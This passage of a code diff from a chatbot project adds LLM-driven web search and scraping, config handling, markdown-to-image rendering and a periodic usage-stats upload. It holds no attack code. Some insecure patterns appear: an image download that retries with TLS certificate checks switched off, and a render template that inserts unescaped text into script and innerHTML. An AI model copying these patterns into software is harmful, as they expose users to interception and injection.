+#     function-calling 函数, 用于获取知乎文章的内容
+#     '''
+#     response = requests.get(link, headers=HEADERS)
+#     response.encoding = "utf-8"
+#     soup = BeautifulSoup(response.text, "html.parser")
+
+#     if "zhuanlan.zhihu.com" in link:
+#         r = soup.find(class_="Post-RichTextContainer")
+#     else:
+#         r = soup.find(class_="List-item").find(class_="RichContent-inner")
+#     if r is None:
+#         print("debug: zhihu none")
+#         raise Exception("zhihu none")
+#     return tidy_text(r.text)
+
+async def search_from_bing(keyword: str) -> str:
+    '''
+    tools, 从 bing 搜索引擎搜索
+    '''
+    logger.info("web_searcher - search_from_bing: " + keyword)
+    results = []
+    try:
+        results = await google.search(keyword, 5)
+    except BaseException as e:
+        logger.error(f"google search error: {e}, try the next one...")
+    if len(results) == 0:
+        logger.debug("search google failed")
+        try:
+            results = await bing_search.search(keyword, 5)
+        except BaseException as e:
+            logger.error(f"bing search error: {e}, try the next one...")
+    if len(results) == 0:
+        logger.debug("search bing failed")
+        try:
+            results = await sogo_search.search(keyword, 5)
+        except BaseException as e:
+            logger.error(f"sogo search error: {e}")
+    if len(results) == 0:
+        logger.debug("search sogo failed")
+        return "没有搜索到结果"
+    ret = ""
+    idx = 1
+    for i in results:
+        logger.info(f"web_searcher - scraping web: {i.title} - {i.url}")
+        try:
+            site_result = await fetch_website_content(i.url)
+        except:
+            site_result = ""
+        site_result = site_result[:600] + "..." if len(site_result) > 600 else site_result
+        ret += f"{idx}. {i.title} \n{i.snippet}\n{site_result}\n\n"
+        idx += 1
+    return ret
+
+
+async def fetch_website_content(url):
+    header = HEADERS
+    header.update({'User-Agent': random.choice(USER_AGENTS)})
+    async with aiohttp.ClientSession() as session:
+        async with session.get(url, headers=HEADERS, timeout=6, proxy=proxy) as response:
+            html = await response.text(encoding="utf-8")
+            doc = Document(html)
+            ret = doc.summary(html_partial=True)
+            soup = BeautifulSoup(ret, 'html.parser')
+            ret = tidy_text(soup.get_text())
+            return ret
+
+
+async def web_search(prompt, provider: Provider, session_id, official_fc=False):
+    '''
+    official_fc: 使用官方 function-calling
+    '''
+    new_func_call = FuncCall(provider)
+
+    new_func_call.add_func("web_search", [{
+        "type": "string",
+        "name": "keyword",
+        "description": "搜索关键词"
+    }],
+        "通过搜索引擎搜索。如果问题需要获取近期、实时的消息，在网页上搜索(如天气、新闻或任何需要通过网页获取信息的问题)，则调用此函数；如果没有，不要调用此函数。",
+        search_from_bing
+    )
+    new_func_call.add_func("fetch_website_content", [{
+        "type": "string",
+        "name": "url",
+        "description": "要获取内容的网页链接"
+    }],
+        "获取网页的内容。如果问题带有合法的网页链接并且用户有需求了解网页内容(例如: `帮我总结一下 https://github.com 的内容`), 就调用此函数。如果没有，不要调用此函数。",
+        fetch_website_content
+    )
+    
+    has_func = False
+    function_invoked_ret = ""
+    if official_fc:
+        # we use official function-calling
+        result = await provider.text_chat(prompt, session_id, tools=new_func_call.get_func())
+        if isinstance(result, Function):
+            logger.debug(f"web_searcher - function-calling: {result}")
+            func_obj = None
+            for i in new_func_call.func_list:
+                if i["name"] == result.name:
+                    func_obj = i["func_obj"]
+                    break
+            if not func_obj:
+                return await provider.text_chat(prompt, session_id) + "\n(网页搜索失败, 此为默认回复)"
+            try:
+                args = json.loads(result.arguments)
+                function_invoked_ret = await func_obj(**args)
+                has_func = True
+            except BaseException as e:
+                traceback.print_exc()
+                return await provider.text_chat(prompt, session_id) + "\n(网页搜索失败, 此为默认回复)"
+        else:
+            return result
+    else:
+        # we use our own function-calling
+        try:
+            args = {
+                'question': prompt,
+                'func_definition': new_func_call.func_dump(),
+                'is_task': False,
+                'is_summary': False,
+            }
+            function_invoked_ret, has_func = await asyncio.to_thread(new_func_call.func_call, **args)
+        except BaseException as e:
+            res = await provider.text_chat(prompt) + "\n(网页搜索失败, 此为默认回复)"
+            return res
+        has_func = True
+
+    if has_func:
+        await provider.forget(session_id)
+        summary_prompt = f"""
+你是一个专业且高效的助手，你的任务是
+1. 根据下面的相关材料对用户的问题 `{prompt}` 进行总结;
+2. 简单地发表你对这个问题的简略看法。
+
+# 例子
+1. 从网上的信息来看，可以知道...我个人认为...你觉得呢？
+2. 根据网上的最新信息，可以得知...我觉得...你怎么看？
+
+# 限制
+1. 限制在 200 字以内；
+2. 请**直接输出总结**，不要输出多余的内容和提示语。
+        
+# 相关材料
+{function_invoked_ret}"""
+        ret = await provider.text_chat(summary_prompt, session_id)
+        return ret
+    return function_invoked_ret

util/cmd_config.py

@@ -0,0 +1,145 @@
+import os
+import json
+import yaml
+from typing import Union
+
+cpath = "data/cmd_config.json"
+
+def check_exist():
+    if not os.path.exists(cpath):
+        with open(cpath, "w", encoding="utf-8-sig") as f:
+            json.dump({}, f, indent=4, ensure_ascii=False)
+            f.flush()
+
+
+class CmdConfig():
+
+    @staticmethod
+    def get(key, default=None):
+        check_exist()
+        with open(cpath, "r", encoding="utf-8-sig") as f:
+            d = json.load(f)
+            if key in d:
+                return d[key]
+            else:
+                return default
+
+    @staticmethod
+    def get_all():
+        check_exist()
+        with open(cpath, "r", encoding="utf-8-sig") as f:
+            return json.load(f)
+
+    @staticmethod
+    def put(key, value):
+        check_exist()
+        with open(cpath, "r", encoding="utf-8-sig") as f:
+            d = json.load(f)
+            d[key] = value
+            with open(cpath, "w", encoding="utf-8-sig") as f:
+                json.dump(d, f, indent=4, ensure_ascii=False)
+                f.flush()
+
+    @staticmethod
+    def put_by_dot_str(key: str, value):
+        '''
+        根据点分割的字符串，将值写入配置文件
+        '''
+        check_exist()
+        with open(cpath, "r", encoding="utf-8-sig") as f:
+            d = json.load(f)
+            _d = d
+            _ks = key.split(".")
+            for i in range(len(_ks)):
+                if i == len(_ks) - 1:
+                    _d[_ks[i]] = value
+                else:
+                    _d = _d[_ks[i]]
+            with open(cpath, "w", encoding="utf-8-sig") as f:
+                json.dump(d, f, indent=4, ensure_ascii=False)
+                f.flush()
+
+    @staticmethod
+    def init_attributes(key: Union[str, list], init_val=""):
+        check_exist()
+        conf_str = ''
+        with open(cpath, "r", encoding="utf-8-sig") as f:
+            conf_str = f.read()
+        if conf_str.startswith(u'/ufeff'):
+            conf_str = conf_str.encode('utf8')[3:].decode('utf8')
+        d = json.loads(conf_str)
+        _tag = False
+
+        if isinstance(key, str):
+            if key not in d:
+                d[key] = init_val
+                _tag = True
+        elif isinstance(key, list):
+            for k in key:
+                if k not in d:
+                    d[k] = init_val
+                    _tag = True
+        if _tag:
+            with open(cpath, "w", encoding="utf-8-sig") as f:
+                json.dump(d, f, indent=4, ensure_ascii=False)
+                f.flush()
+
+
+def init_astrbot_config_items():
+    # 加载默认配置
+    cc = CmdConfig()
+    cc.init_attributes("qq_forward_threshold", 200)
+    cc.init_attributes("qq_welcome", "")
+    cc.init_attributes("qq_pic_mode", False)
+    cc.init_attributes("gocq_host", "127.0.0.1")
+    cc.init_attributes("gocq_http_port", 5700)
+    cc.init_attributes("gocq_websocket_port", 6700)
+    cc.init_attributes("gocq_react_group", True)
+    cc.init_attributes("gocq_react_guild", True)
+    cc.init_attributes("gocq_react_friend", True)
+    cc.init_attributes("gocq_react_group_increase", True)
+    cc.init_attributes("other_admins", [])
+    cc.init_attributes("CHATGPT_BASE_URL", "")
+    cc.init_attributes("qqbot_secret", "")
+    cc.init_attributes("qqofficial_enable_group_message", False)
+    cc.init_attributes("admin_qq", "")
+    cc.init_attributes("nick_qq", ["!", "！", "ai"])
+    cc.init_attributes("admin_qqchan", "")
+    cc.init_attributes("llm_env_prompt", "")
+    cc.init_attributes("llm_wake_prefix", "")
+    cc.init_attributes("default_personality_str", "")
+    cc.init_attributes("openai_image_generate", {
+        "model": "dall-e-3",
+        "size": "1024x1024",
+        "style": "vivid",
+        "quality": "standard",
+    })
+    cc.init_attributes("http_proxy", "")
+    cc.init_attributes("https_proxy", "")
+    cc.init_attributes("dashboard_username", "")
+    cc.init_attributes("dashboard_password", "")
+
+
+
+def try_migrate_config():
+    '''
+    将 cmd_config.json 迁移至 data/cmd_config.json
+    '''
+    print("try migrate configs")
+    if os.path.exists("cmd_config.json"):
+        with open("cmd_config.json", "r", encoding="utf-8-sig") as f:
+            data = json.load(f)
+        with open("data/cmd_config.json", "w", encoding="utf-8-sig") as f:
+            json.dump(data, f, indent=2, ensure_ascii=False)
+        try:
+            os.remove("cmd_config.json")
+        except Exception as e:
+            pass
+    if not os.path.exists("cmd_config.json") and not os.path.exists("data/cmd_config.json"):
+        # 从 configs/config.yaml 上拿数据
+        configs_pth = os.path.abspath(os.path.join(os.path.abspath(__file__), "../../configs/config.yaml"))
+        with open(configs_pth, encoding='utf-8') as f:
+            data = yaml.load(f, Loader=yaml.Loader)
+            print(data)
+            with open("data/cmd_config.json", "w", encoding="utf-8-sig") as f:
+                json.dump(data, f, indent=2, ensure_ascii=False)

util/errors/errors.py

@@ -1,3 +0,0 @@
-class PromptExceededError(Exception):
-    
-    pass

util/general_utils.py

@@ -0,0 +1,471 @@
+import time
+import socket
+import os
+import re
+import requests
+import aiohttp
+import socket
+import platform
+import json
+import sys
+import psutil
+import ssl
+import base64
+
+from PIL import Image, ImageDraw, ImageFont
+from type.types import GlobalObject
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+
+def port_checker(port: int, host: str = "localhost"):
+    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    sk.settimeout(1)
+    try:
+        sk.connect((host, port))
+        sk.close()
+        return True
+    except Exception:
+        sk.close()
+        return False
+
+
+def get_font_path() -> str:
+    if os.path.exists("resources/fonts/syst.otf"):
+        font_path = "resources/fonts/syst.otf"
+    elif os.path.exists("QQChannelChatGPT/resources/fonts/syst.otf"):
+        font_path = "QQChannelChatGPT/resources/fonts/syst.otf"
+    elif os.path.exists("AstrBot/resources/fonts/syst.otf"):
+        font_path = "AstrBot/resources/fonts/syst.otf"
+    elif os.path.exists("C:/Windows/Fonts/simhei.ttf"):
+        font_path = "C:/Windows/Fonts/simhei.ttf"
+    elif os.path.exists("/usr/share/fonts/opentype/noto/NotoSansCJK-Regular.ttc"):
+        font_path = "/usr/share/fonts/opentype/noto/NotoSansCJK-Regular.ttc"
+    else:
+        raise Exception("找不到字体文件")
+    return font_path
+
+def render_markdown(markdown_text, image_width=800, image_height=600, font_size=26, font_color=(0, 0, 0), bg_color=(255, 255, 255)):
+
+    HEADER_MARGIN = 20
+    HEADER_FONT_STANDARD_SIZE = 42
+
+    QUOTE_LEFT_LINE_MARGIN = 10
+    QUOTE_FONT_LINE_MARGIN = 6  # 引用文字距离左边线的距离和上下的距离
+    QUOTE_LEFT_LINE_HEIGHT = font_size + QUOTE_FONT_LINE_MARGIN * 2
+    QUOTE_LEFT_LINE_WIDTH = 5
+    QUOTE_LEFT_LINE_COLOR = (180, 180, 180)
+    QUOTE_FONT_SIZE = font_size
+    QUOTE_FONT_COLOR = (180, 180, 180)
+    # QUOTE_BG_COLOR = (255, 255, 255)
+
+    CODE_BLOCK_MARGIN = 10
+    CODE_BLOCK_FONT_SIZE = font_size
+    CODE_BLOCK_FONT_COLOR = (255, 255, 255)
+    CODE_BLOCK_BG_COLOR = (240, 240, 240)
+    CODE_BLOCK_CODES_MARGIN_VERTICAL = 5  # 代码块和代码之间的距离
+    CODE_BLOCK_CODES_MARGIN_HORIZONTAL = 5  # 代码块和代码之间的距离
+    CODE_BLOCK_TEXT_MARGIN = 4  # 代码和代码之间的距离
+
+    INLINE_CODE_MARGIN = 8
+    INLINE_CODE_FONT_SIZE = font_size
+    INLINE_CODE_FONT_COLOR = font_color
+    INLINE_CODE_FONT_MARGIN = 4
+    INLINE_CODE_BG_COLOR = (230, 230, 230)
+    INLINE_CODE_BG_HEIGHT = INLINE_CODE_FONT_SIZE + INLINE_CODE_FONT_MARGIN * 2
+
+    LIST_MARGIN = 8
+    LIST_FONT_SIZE = font_size
+    LIST_FONT_COLOR = font_color
+
+    TEXT_LINE_MARGIN = 8
+
+    IMAGE_MARGIN = 15
+    # 用于匹配图片的正则表达式
+    IMAGE_REGEX = r"!\s*\[.*?\]\s*\((.*?)\)"
+
+    font_path = get_font_path()
+    font_path1 = font_path
+
+    # 加载字体
+    font = ImageFont.truetype(font_path, font_size)
+
+    images: Image = {}
+
+    # pre_process, get height of each line
+    pre_lines = markdown_text.split('\n')
+    height = 0
+    pre_in_code = False
+    i = -1
+    _pre_lines = []
+    for line in pre_lines:
+        i += 1
+        # 处理图片
+        if re.search(IMAGE_REGEX, line):
+            try:
+                image_url = re.findall(IMAGE_REGEX, line)[0]
+                print(image_url)
+                image_res = Image.open(requests.get(
+                    image_url, stream=True, timeout=5).raw)
+                images[i] = image_res
+                # 最大不得超过image_width的50%
+                img_height = image_res.size[1]
+
+                if image_res.size[0] > image_width*0.5:
+                    image_res = image_res.resize(
+                        (int(image_width*0.5), int(image_res.size[1]*image_width*0.5/image_res.size[0])))
+                    img_height = image_res.size[1]
+
+                height += img_height + IMAGE_MARGIN*2
+
+                line = re.sub(IMAGE_REGEX, "", line)
+            except Exception as e:
+                print(e)
+                line = re.sub(IMAGE_REGEX, "\n[加载失败的图片]\n", line)
+                continue
+
+        line.replace("\t", "    ")
+        if font.getsize(line)[0] > image_width:
+            cp = line
+            _width = 0
+            _word_cnt = 0
+            for ii in range(len(line)):
+                # 检测是否是中文
+                _width += font.getsize(line[ii])[0]
+                _word_cnt += 1
+                if _width > image_width:
+                    _pre_lines.append(cp[:_word_cnt])
+                    cp = cp[_word_cnt:]
+                    _word_cnt = 0
+                    _width = 0
+            _pre_lines.append(cp)
+        else:
+            _pre_lines.append(line)
+    pre_lines = _pre_lines
+
+    i = -1
+    for line in pre_lines:
+        if line == "":
+            height += TEXT_LINE_MARGIN
+            continue
+        i += 1
+        line = line.strip()
+        if pre_in_code and not line.startswith("```"):
+            height += font_size + CODE_BLOCK_TEXT_MARGIN
+            # pre_codes.append(line)
+            continue
+        if line.startswith("#"):
+            header_level = line.count("#")
+            height += HEADER_FONT_STANDARD_SIZE + HEADER_MARGIN*2 - header_level * 4
+        elif line.startswith("-"):
+            height += font_size+LIST_MARGIN*2
+        elif line.startswith(">"):
+            height += font_size+QUOTE_LEFT_LINE_MARGIN*2
+        elif line.startswith("```"):
+            if pre_in_code:
+                pre_in_code = False
+                # pre_codes = []
+                height += CODE_BLOCK_MARGIN
+            else:
+                pre_in_code = True
+                height += CODE_BLOCK_MARGIN
+        elif re.search(r"`(.*?)`", line):
+            height += font_size+INLINE_CODE_FONT_MARGIN*2+INLINE_CODE_MARGIN*2
+        else:
+            height += font_size + TEXT_LINE_MARGIN*2
+
+    markdown_text = '\n'.join(pre_lines)
+    image_height = height
+    if image_height < 100:
+        image_height = 100
+    image_width += 20
+
+    # 创建空白图像
+    image = Image.new('RGB', (image_width, image_height), bg_color)
+    draw = ImageDraw.Draw(image)
+
+    # 设置初始位置
+    x, y = 10, 10
+
+    # 解析Markdown文本
+    lines = markdown_text.split("\n")
+    # lines = pre_lines
+
+    in_code_block = False
+    code_block_start_y = 0
+    code_block_codes = []
+
+    index = -1
+    for line in lines:
+        index += 1
+        if in_code_block and not line.startswith("```"):
+            code_block_codes.append(line)
+            y += font_size + CODE_BLOCK_TEXT_MARGIN
+            continue
+        line = line.strip()
+
+        if line.startswith("#"):
+            # 处理标题
+            header_level = line.count("#")
+            line = line.strip("#").strip()
+            font_size_header = HEADER_FONT_STANDARD_SIZE - header_level * 4
+            font = ImageFont.truetype(font_path, font_size_header)
+            y += HEADER_MARGIN  # 上边距
+            # 字间距
+            draw.text((x, y), line, font=font, fill=font_color)
+            draw.line((x, y + font_size_header + 8, image_width - 10,
+                      y + font_size_header + 8), fill=(230, 230, 230), width=3)
+            y += font_size_header + HEADER_MARGIN
+
+        elif line.startswith(">"):
+            # 处理引用
+            quote_text = line.strip(">")
+            y += QUOTE_LEFT_LINE_MARGIN
+            draw.line((x, y, x, y + QUOTE_LEFT_LINE_HEIGHT),
+                      fill=QUOTE_LEFT_LINE_COLOR, width=QUOTE_LEFT_LINE_WIDTH)
+            font = ImageFont.truetype(font_path, QUOTE_FONT_SIZE)
+            draw.text((x + QUOTE_FONT_LINE_MARGIN, y + QUOTE_FONT_LINE_MARGIN),
+                      quote_text, font=font, fill=QUOTE_FONT_COLOR)
+            y += font_size + QUOTE_LEFT_LINE_HEIGHT + QUOTE_LEFT_LINE_MARGIN
+
+        elif line.startswith("-"):
+            # 处理列表
+            list_text = line.strip("-").strip()
+            font = ImageFont.truetype(font_path, LIST_FONT_SIZE)
+            y += LIST_MARGIN
+            draw.text((x, y), "  ·  " + list_text,
+                      font=font, fill=LIST_FONT_COLOR)
+            y += font_size + LIST_MARGIN
+
+        elif line.startswith("```"):
+            if not in_code_block:
+                code_block_start_y = y+CODE_BLOCK_MARGIN
+                in_code_block = True
+            else:
+                # print(code_block_codes)
+                in_code_block = False
+                codes = "\n".join(code_block_codes)
+                code_block_codes = []
+                draw.rounded_rectangle((x, code_block_start_y, image_width - 10, y+CODE_BLOCK_CODES_MARGIN_VERTICAL +
+                                       CODE_BLOCK_TEXT_MARGIN), radius=5, fill=CODE_BLOCK_BG_COLOR, width=2)
+                font = ImageFont.truetype(font_path1, CODE_BLOCK_FONT_SIZE)
+                draw.text((x + CODE_BLOCK_CODES_MARGIN_HORIZONTAL, code_block_start_y +
+                          CODE_BLOCK_CODES_MARGIN_VERTICAL), codes, font=font, fill=font_color)
+                y += CODE_BLOCK_CODES_MARGIN_VERTICAL + CODE_BLOCK_MARGIN
+        # y += font_size+10
+        elif re.search(r"`(.*?)`", line):
+            y += INLINE_CODE_MARGIN  # 上边距
+            # 处理行内代码
+            code_regex = r"`(.*?)`"
+            parts_inline = re.findall(code_regex, line)
+            # print(parts_inline)
+            parts = re.split(code_regex, line)
+            # print(parts)
+            for part in parts:
+                # the judge has a tiny bug.
+                # when line is like "hi`hi`". all the parts will be in parts_inline.
+                if part in parts_inline:
+                    font = ImageFont.truetype(font_path, INLINE_CODE_FONT_SIZE)
+                    code_text = part.strip("`")
+                    code_width = font.getsize(
+                        code_text)[0] + INLINE_CODE_FONT_MARGIN*2
+                    x += INLINE_CODE_MARGIN
+                    code_box = (x, y, x + code_width,
+                                y + INLINE_CODE_BG_HEIGHT)
+                    draw.rounded_rectangle(
+                        code_box, radius=5, fill=INLINE_CODE_BG_COLOR, width=2)  # 使用灰色填充矩形框作为引用背景
+                    draw.text((x+INLINE_CODE_FONT_MARGIN, y),
+                              code_text, font=font, fill=font_color)
+                    x += code_width+INLINE_CODE_MARGIN-INLINE_CODE_FONT_MARGIN
+                else:
+                    font = ImageFont.truetype(font_path, font_size)
+                    draw.text((x, y), part, font=font, fill=font_color)
+                    x += font.getsize(part)[0]
+            y += font_size + INLINE_CODE_MARGIN
+            x = 10
+
+        else:
+            # 处理普通文本
+            if line == "":
+                y += TEXT_LINE_MARGIN
+            else:
+                font = ImageFont.truetype(font_path, font_size)
+
+                draw.text((x, y), line, font=font, fill=font_color)
+                y += font_size + TEXT_LINE_MARGIN*2
+
+        # 图片特殊处理
+        if index in images:
+            image_res = images[index]
+            # 最大不得超过image_width的50%
+            if image_res.size[0] > image_width*0.5:
+                image_res = image_res.resize(
+                    (int(image_width*0.5), int(image_res.size[1]*image_width*0.5/image_res.size[0])))
+            image.paste(image_res, (IMAGE_MARGIN, y))
+            y += image_res.size[1] + IMAGE_MARGIN*2
+    return image
+
+
+def save_temp_img(img: Image) -> str:
+    if not os.path.exists("temp"):
+        os.makedirs("temp")
+
+    # 获得文件创建时间，清除超过1小时的
+    try:
+        for f in os.listdir("temp"):
+            path = os.path.join("temp", f)
+            if os.path.isfile(path):
+                ctime = os.path.getctime(path)
+                if time.time() - ctime > 3600:
+                    os.remove(path)
+    except Exception as e:
+        print(f"清除临时文件失败: {e}")
+
+    # 获得时间戳
+    timestamp = int(time.time())
+    p = f"temp/{timestamp}.jpg"
+
+    if isinstance(img, Image.Image):
+        img.save(p)
+    else:
+        with open(p, "wb") as f:
+            f.write(img)
+    logger.info(f"保存临时图片: {p}")
+    return p
+
+async def download_image_by_url(url: str, post: bool = False, post_data: dict = None) -> str:
+    '''
+    下载图片
+    '''
+    try:
+        logger.info(f"下载图片: {url}")
+        async with aiohttp.ClientSession() as session:
+            if post:
+                async with session.post(url, json=post_data) as resp:
+                    return save_temp_img(await resp.read())
+            else:
+                async with session.get(url) as resp:
+                    return save_temp_img(await resp.read())
+    except aiohttp.client_exceptions.ClientConnectorSSLError as e:
+        # 关闭SSL验证
+        ssl_context = ssl.create_default_context()
+        ssl_context.check_hostname = False
+        ssl_context.verify_mode = ssl.CERT_NONE
+        async with aiohttp.ClientSession(trust_env=False) as session:
+            if post:
+                async with session.get(url, ssl=ssl_context) as resp:
+                    return save_temp_img(await resp.read())
+            else:
+                async with session.get(url, ssl=ssl_context) as resp:
+                    return save_temp_img(await resp.read())
+    except Exception as e:
+        raise e
+
+
+def create_markdown_image(text: str):
+    '''
+    markdown文本转图片。
+    返回：文件路径
+    '''
+    try:
+        img = render_markdown(text)
+        p = save_temp_img(img)
+        return p
+    except Exception as e:
+        raise e
+
+
+def get_local_ip_addresses():
+    ip = ''
+    try:
+        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        s.connect(('8.8.8.8', 80))
+        ip = s.getsockname()[0]
+    except BaseException as e:
+        pass
+    finally:
+        s.close()
+    return ip
+
+
+def upload(_global_object: GlobalObject):
+    '''
+    上传相关非敏感统计数据
+    '''
+    time.sleep(10)
+    while True:
+        platform_stats = {}
+        llm_stats = {}
+        plugin_stats = {}
+        for platform in _global_object.platforms:
+            platform_stats[platform.platform_name] = {
+                "cnt_receive": platform.platform_instance.cnt_receive,
+                "cnt_reply": platform.platform_instance.cnt_reply
+            }
+            
+        for llm in _global_object.llms:
+            stat = llm.llm_instance.model_stat
+            for k in stat:
+                llm_stats[llm.llm_name + "#" + k] = stat[k]
+            llm.llm_instance.reset_model_stat()
+            
+        for plugin in _global_object.cached_plugins:
+            plugin_stats[plugin.metadata.plugin_name] = {
+                "metadata": plugin.metadata,
+                "trig_cnt": plugin.trig_cnt
+            }
+            plugin.reset_trig_cnt()
+        
+        try:
+            res = {
+                "stat_version": "moon",
+                "version": _global_object.version, # 版本号
+                "platform_stats": platform_stats, # 过去 30 分钟各消息平台交互消息数
+                "llm_stats": llm_stats,
+                "plugin_stats": plugin_stats,
+                "sys": sys.platform, # 系统版本
+            }
+            resp = requests.post(
+                'https://api.soulter.top/upload', data=json.dumps(res), timeout=5)
+            if resp.status_code == 200:
+                ok = resp.json()
+                if ok['status'] == 'ok':
+                    _global_object.cnt_total = 0
+        except BaseException as e:
+            pass
+        time.sleep(30*60)
+
+def retry(n: int = 3):
+    '''
+    重试装饰器
+    '''
+    def decorator(func):
+        def wrapper(*args, **kwargs):
+            for i in range(n):
+                try:
+                    return func(*args, **kwargs)
+                except Exception as e:
+                    if i == n-1: raise e
+                    logger.warning(f"函数 {func.__name__} 第 {i+1} 次重试... {e}")
+        return wrapper
+    return decorator
+
+def run_monitor(global_object: GlobalObject):
+    '''
+    监测机器性能
+    - Bot 内存使用量
+    - CPU 占用率
+    '''
+    start_time = time.time()
+    while True:
+        stat = global_object.dashboard_data.stats
+        # 程序占用的内存大小
+        mem = psutil.Process().memory_info().rss / 1024 / 1024  # MB
+        stat['sys_perf'] = {
+            'memory': mem,
+            'cpu': psutil.cpu_percent()
+        }
+        stat['sys_start_time'] = start_time
+        time.sleep(30)

util/image_render/helper.py

@@ -0,0 +1,43 @@
+import aiohttp, os
+from util.general_utils import download_image_by_url, create_markdown_image
+from type.config import VERSION
+
+BASE_RENDER_URL = "https://t2i.soulter.top/text2img"
+TEMPLATE_PATH = os.path.join(os.path.dirname(__file__), "template")
+
+async def text_to_image_base(text: str, return_url: bool = False) -> str:
+    '''
+    返回图像的文件路径
+    '''
+    with open(os.path.join(TEMPLATE_PATH, "base.html"), "r") as f:
+        tmpl_str = f.read()
+
+    assert(tmpl_str)
+
+    text = text.replace("`", "\`")
+
+    post_data = {
+        "tmpl": tmpl_str,
+        "json": return_url,
+        "tmpldata": {
+            "text": text,
+            "version": f"v{VERSION}",
+        },
+        "options": {
+            "full_page": True
+        }
+    }
+    
+    if return_url:
+        async with aiohttp.ClientSession() as session:
+            async with session.post(f"{BASE_RENDER_URL}/generate", json=post_data) as resp:
+                ret = await resp.json()
+                return f"{BASE_RENDER_URL}/{ret['data']['id']}"
+    else:
+        image_path = ""
+        try:
+            image_path = await download_image_by_url(f"{BASE_RENDER_URL}/generate", post=True, post_data=post_data)
+        except Exception as e:
+            print(f"调用 markdown 渲染 API 失败，错误信息：{e}，将使用本地渲染方式。")
+            image_path = create_markdown_image(text)
+        return image_path

util/image_render/template/base.html

@@ -0,0 +1,247 @@
+<!doctype html>
+<html>
+<head>
+  <meta charset="utf-8"/>
+  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.10/dist/katex.min.css" integrity="sha384-wcIxkf4k558AjM3Yz3BBFQUbk/zgIYC2R0QpeeYb+TwlBVMrlgLqwRjRtGZiK7ww" crossorigin="anonymous">
+  <link rel="stylesheet" href="/path/to/styles/default.min.css">
+  <script src="/path/to/highlight.min.js"></script>
+  <script>hljs.highlightAll();</script>
+  <script defer src="https://cdn.jsdelivr.net/npm/katex@0.16.10/dist/katex.min.js" integrity="sha384-hIoBPJpTUs74ddyc4bFZSM1TVlQDA60VBbJS0oA934VSz82sBx1X7kSx2ATBDIyd" crossorigin="anonymous"></script>
+  <script defer src="https://cdn.jsdelivr.net/npm/katex@0.16.10/dist/contrib/auto-render.min.js" integrity="sha384-43gviWU0YVjaDtb/GhzOouOXtZMP/7XUzwPTstBeZFe/+rCMvRwr4yROQP43s0Xk" crossorigin="anonymous"
+      onload="renderMathInElement(document.getElementById('content'),{delimiters: [{left: '$$', right: '$$', display: true},{left: '$', right: '$', display: false}]});"></script>
+</head>
+<body>
+  <div style="background-color: #3276dc; color: #fff; font-size: 64px; ">
+    <span style="font-weight: bold; margin-left: 16px"># AstrBot</span>
+    <span>{{ version }}</span>
+  </div>
+  <article style="margin-top: 32px" id="content"></article>
+  <script src="https://cdn.jsdelivr.net/npm/marked/marked.min.js"></script>
+  <script>
+    document.getElementById('content').innerHTML = marked.parse(`{{ text | safe}}`);
+  </script>
+
+</body>
+</html>
+<style>
+    #content {
+        min-width: 200px;
+        max-width: 85%;
+        margin: 0 auto;
+        padding: 2rem 1em 1em;
+      }
+    
+      body {
+        word-break: break-word;
+        line-height: 1.75;
+        font-weight: 400;
+        font-size: 32px;
+        margin: 0;
+        padding: 0;
+        overflow-x: hidden;
+        color: #333;
+        font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji;
+      }
+      h1, h2, h3, h4, h5, h6 {
+        line-height: 1.5;
+        margin-top: 35px;
+        margin-bottom: 10px;
+        padding-bottom: 5px;
+      }
+      h1:first-child, h2:first-child, h3:first-child, h4:first-child, h5:first-child, h6:first-child {
+        margin-top: -1.5rem;
+        margin-bottom: 1rem;
+      }
+      h1::before, h2::before, h3::before, h4::before, h5::before, h6::before {
+        content: "#";
+        display: inline-block;
+        color: #3eaf7c;
+        padding-right: 0.23em;
+      }
+      h1 {
+        position: relative;
+        font-size: 2.5rem;
+        margin-bottom: 5px;
+      }
+      h1::before {
+        font-size: 2.5rem;
+      }
+      h2 {
+        padding-bottom: 0.5rem;
+        font-size: 2.2rem;
+        border-bottom: 1px solid #ececec;
+      }
+      h3 {
+        font-size: 1.5rem;
+        padding-bottom: 0;
+      }
+      h4 {
+        font-size: 1.25rem;
+      }
+      h5 {
+        font-size: 1rem;
+      }
+      h6 {
+        margin-top: 5px;
+      }
+      p {
+        line-height: inherit;
+        margin-top: 22px;
+        margin-bottom: 22px;
+      }
+      strong {
+        color: #3eaf7c;
+      }
+      img {
+        max-width: 100%;
+        border-radius: 2px;
+        display: block;
+        margin: auto;
+        border: 3px solid rgba(62, 175, 124, 0.2);
+      }
+      hr {
+        border-top: 1px solid #3eaf7c;
+        border-bottom: none;
+        border-left: none;
+        border-right: none;
+        margin-top: 32px;
+        margin-bottom: 32px;
+      }
+      code {
+        font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
+        word-break: break-word;
+        overflow-x: auto;
+        padding: 0.2rem 0.5rem;
+        margin: 0;
+        color: #3eaf7c;
+        font-size: 0.85em;
+        background-color: rgba(27, 31, 35, 0.05);
+        border-radius: 3px;
+      }
+      pre {
+        font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
+        overflow: auto;
+        position: relative;
+        line-height: 1.75;
+        border-radius: 6px;
+        border: 2px solid #3eaf7c;
+      }
+      pre > code {
+        font-size: 12px;
+        padding: 15px 12px;
+        margin: 0;
+        word-break: normal;
+        display: block;
+        overflow-x: auto;
+        color: #333;
+        background: #f8f8f8;
+      }
+      a {
+        font-weight: 500;
+        text-decoration: none;
+        color: #3eaf7c;
+      }
+      a:hover, a:active {
+        border-bottom: 1.5px solid #3eaf7c;
+      }
+      a:before {
+        content: "⇲";
+      }
+      table {
+        display: inline-block !important;
+        font-size: 12px;
+        width: auto;
+        max-width: 100%;
+        overflow: auto;
+        border: solid 1px #3eaf7c;
+      }
+      thead {
+        background: #3eaf7c;
+        color: #fff;
+        text-align: left;
+      }
+      tr:nth-child(2n) {
+        background-color: rgba(62, 175, 124, 0.2);
+      }
+      th, td {
+        padding: 12px 7px;
+        line-height: 24px;
+      }
+      td {
+        min-width: 120px;
+      }
+      blockquote {
+        color: #666;
+        padding: 1px 23px;
+        margin: 22px 0;
+        border-left: 0.5rem solid rgba(62, 175, 124, 0.6);
